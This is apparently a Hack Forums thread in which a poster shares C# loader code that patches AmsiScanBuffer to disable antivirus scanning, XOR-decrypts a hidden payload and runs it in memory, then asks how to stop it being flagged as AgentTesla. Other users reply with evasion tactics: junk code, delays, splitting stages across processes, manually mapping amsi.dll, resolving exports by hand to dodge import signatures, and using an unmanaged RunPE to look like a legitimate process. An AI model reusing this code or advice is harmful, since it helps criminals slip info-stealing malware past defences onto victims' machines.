

# Forum:[Hack Forums](#)

Thread: [How to bypass agentTesla!ml detection?](#)

onledej03 - February 11, 2024, 4:45 am

I can't bypass the agentTesla!ml detection. all my code is methods that return the byte[] or string parts of the payload, the launch method, the decryption method, and the amsi bypass method.

```
Code using System;
using System.Linq;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Text;
using System.Security.Cryptography;
class Program
{
public static void Execute()
{
    var sp = Convert.FromBase64String("QW1zaVNj"+"YW5CdWZmZXI="); //
AmsiScanBuffer
    string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
    var ad = Convert.FromBase64String("YW1za"+"S5kbGw="); // amsi.dll
    string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
    var lib = LoadLibrary(decodedAd);
    var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));
    var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 };
    _ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);
    Marshal.Copy(p, 0, myvar, p.Length);
    _ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
}
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
static extern IntPtr GetProcAddress( IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern bool VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint
lpflOldProtect);

    static void Main()
    {
        byte[] bytecode = DecryptBytecode();
        RunPE((Assembly)typeof(Assembly).InvokeMember("Load", BindingFlags.InvokeMethod |
BindingFlags.Public | BindingFlags.Static
, null, null, new object[] { bytecode }));
    }

public static byte[] booyyaaah(){ return WYCFvFhiohHW.m1().ToArray() ;
}
```

```

public static byte[] DecryptBytecode()
{
byte[] dfgdgfdgdfgdgdfg = booyyaaah().ToArray();
string encryptionKey = "wwwesU";
byte[] bytecode = Enumerable.Range(0, dfgdgfdgdfgdgdfg.Length)
.Select(i => (byte)(dfgdgfdgdfgdgdfg[i] ^ encryptionKey[i % encryptionKey.Length]))
.ToArray();
Execute();
return bytecode;
}
static void RunPE(Assembly result)
{
MethodInfo entryPoint = (MethodInfo)result.GetType().GetProperty("EntryPoint").GetValue(result);
entryPoint.Invoke(null, null);
}}

```

```

public static class WYCFvFhiohHW{
public static byte[] m1(){
byte[] var1 = {58,45,231, 115};
return var1;
}
}

```

(I shortened the bytecode and key)  
sometimes I get Wacatac or Sabtic. why? do I need to use an icon and change the assembly information

**stdio** - February 11, 2024, 11:14 pm

These are generic detections based on machine learning, adding icon or modifying assembly won't help much.

Try introducing junk code, put delays, alternate execution, multi threats ;)

**Klonopin** - February 12, 2024, 3:29 pm

create separate processes for different stages of your payload execution or communicate between processes to distribute the workload. This can confuse sandbox environments and ML-AVs that rely on monitoring process behavior. since ML-AVs analyze behavior, try to mimic the behavior of legitimate applications or known benign software to reduce the chances of triggering ML-AV alerts.

**Menalix** - February 19, 2024, 1:57 pm

having win32 api imports is never a good idea.

is it scan time or run time?

**onledej03** - February 23, 2024, 11:21 am

(Feb 19, 2024 02:57 PM)Menalix Wrote: [\[CITE\]](#) having win32 api imports is never a good idea.

is it scan time or run time? remember to run time not use runpe's using createprocess with suspended flag, create without suspended flag, an suspend afterwards with job object signalling process creation event.

scan and runtime

(Feb 12, 2024 04:29 PM)Klonopin Wrote: [\[CITE\]](#) create separate processes for different stages of your payload execution or communicate between processes to distribute the workload. This can confuse sandbox environments and ML-AVs that rely on monitoring process behavior. since ML-AVs

analyze behavior, try to mimic the behavior of legitimate applications or known benign software to reduce the chances of triggering ML-AV alerts.

thanks

Menalix - February 23, 2024, 3:48 pm

(Feb 23, 2024 12:21 PM)onledej03 Wrote: [\[CITE\]](#) scan and runtime  
k get rid of the winapi's

Manual map the amsi.dll

Also getprocaddress is essentially just an export address resolver by looping the export table, which again is super easy and a few lines of code to do yourself.

In general you want the least amount of data you can't manipulate.

Then there is VirtualProtect use your manual coded getprocaddress resolver to get the export address in the pre-loaded kernel32 which windows loader always load in all processes and call it dynamically.

FromBase64String call its also stupid, write your own simple text encoder instead.

My guess atm is you partially get heuristically flagged because of a IAT sig.

Otherwise your way of loading the assembly which is not a runpe. I would advice you to use an unmanaged runpe easier to keep undetected and running as a legit other process also looks better.